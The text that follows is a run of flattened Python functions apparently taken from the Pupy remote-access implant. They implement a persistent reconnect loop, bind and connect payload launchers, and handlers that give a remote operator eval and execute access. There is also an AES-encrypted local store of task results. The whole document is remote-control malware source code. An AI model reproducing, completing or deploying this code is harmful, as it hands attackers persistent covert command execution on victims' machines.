def on_disconnect(self): try: if self.client.terminated: return for cleanup in self.exposed_cleanups: try: cleanup() except Exception as e: pupy.remote_error('Disconnect/cleanup: {}', e) self.exposed_cleanups = [] finally: try: self._conn.close() except Exception as e: pupy.remote_error('Disconnect/close: {}', e) if os.name == 'posix': try: for _ in xrange(1024): if not os.waitpid(-1, os.WNOHANG): break except OSError: pass
def append(self, result): if self.results_type in (str, unicode): self._pstore[self] += result elif self.results_type == list: self._pstore[self].append(result) elif self.results_type == set: self._pstore[self].add(result) elif self.results_type == dict: self._pstore[self][result[0]] = result[1] else: raise TypeError('Unknown results type: {}'.format( self.results_type)) fire_event = False if not self._dirty: fire_event = True self._dirty = True try: if fire_event and self._event_id is not None: self.broadcast_event(self._event_id) except: pupy.remote_error('Task (append) error: {}', self.name)
def load(self): if not os.path.exists(self._pstore_path): return data = None try: with open(self._pstore_path, 'rb') as pstore: data = pstore.read() try: os.unlink(self._pstore_path) except: pupy.remote_error('Pstore (load)') if not data: return data = NewAESCipher(*self._pstore_key).decrypt(data) data = strip_PKCS7_padding(data) data = cPickle.loads(data) except: pupy.remote_error('Pstore (load)') return if type(data) == dict: self._pstore.update(data)
def stop(self, klass, force=False): name = klass.__name__ if name in self.tasks: try: self.tasks[name].stop() del self.tasks[name] except: pupy.remote_error('Manager (stop): {}', name) if force: del self.tasks[name]
def active(self): if self._stopped is None: return False try: return not self._stopped.is_set() except: pupy.remote_error('Task (active) error: {}', self.name) return False
def create(self, klass, *args, **kwargs): name = klass.__name__ if name not in self.tasks: try: task = klass(self, *args, **kwargs) task.start() self.tasks[name] = task return task except: pupy.remote_error('Manager (create): {}', name)
def run(self): pupy.dprint('Task {} started', self.__class__.__name__) try: self.task() except: pupy.remote_error('Task (run) error: {}', self.name) finally: pupy.dprint('Task {} completed', self.__class__.__name__) if self._stopped: self._stopped.set()
def event(self, event): for task in self.tasks.itervalues(): try: task.event(event) except: pupy.remote_error('Manager (event): {} evt={}', task.name, event) if event == self.TERMINATE: for task in self.tasks.itervalues(): try: task.stop() except: pupy.remote_error('Manager (terminate): {} evt={}', task.name, event) self.pstore.store()
def store(self): if not self._pstore: return pstore_dir = os.path.dirname(self._pstore_path) try: if not os.path.isdir(pstore_dir): os.makedirs(pstore_dir) with open(self._pstore_path, 'w+b') as pstore: data = cPickle.dumps(self._pstore) data = append_PKCS7_padding(data) data = NewAESCipher(*self._pstore_key).encrypt(data) pstore.write(data) except: pupy.remote_error('Pstore (store)') return
def run(self): while not self.terminated: try: self._iterate_launcher() except Exception as e: pupy.remote_error('Launcher: {}', e) if type(e) == SystemExit: self.terminated = True finally: if not self.terminated: sleep_secs = self._get_next_wait() logger.info('Attempt %d - reconnect in %d seconds...', self._attempt, sleep_secs) time.sleep(sleep_secs) self._attempt += 1
def on_connect(self): self.exposed_namespace = {} self.exposed_cleanups = [] self._conn._config.update(REVERSE_SLAVE_CONF) infos_buffer = Buffer() infos = self.exposed_get_infos() try: umsgpack.dump(infos, infos_buffer, ext_handlers=MSG_TYPES_PACK) except Exception as e: pupy.remote_error('on_connect failed: {}; infos={}', e, infos) self._conn.root.initialize_v1(self.exposed_namespace, pupy.namespace, __import__('__builtin__'), self.exposed_register_cleanup, self.exposed_unregister_cleanup, self.exposed_obtain_call, self.exposed_exit, self.exposed_eval, self.exposed_execute, __import__('pupyimporter'), infos_buffer)
def _iterate_launcher(self): stream = None for ret in self._launcher.iterate(): logger.debug('Operation state: Terminated = %s', self.terminated) if self.terminated: logger.warning('Loop terminated') break logger.debug('Acquire launcher: %s', ret) try: if isinstance(ret, tuple): # bind payload server_class, port, address, authenticator, stream, transport, transport_kwargs = ret self.set_connection_info( server_class( self._bind_service, port=port, hostname=address, authenticator=authenticator, stream=stream, transport=transport, transport_kwargs=transport_kwargs, pupy_srv=None, )) self._connection.start() else: # connect payload stream = ret self.set_connection_info( PupyConnection(None, self._connect_service, PupyChannel(stream), config={}, ping=stream.KEEP_ALIVE_REQUIRED)) self._connection.init() self._connection.loop() self._attempt = 0 except SystemExit: raise except EOFError: pass except Exception as e: pupy.remote_error('Iterate launcher: {}', e) finally: logger.debug('Launcher completed') self.reset_connection_info() if stream is not None: try: stream.close() except: pass if self.terminated: break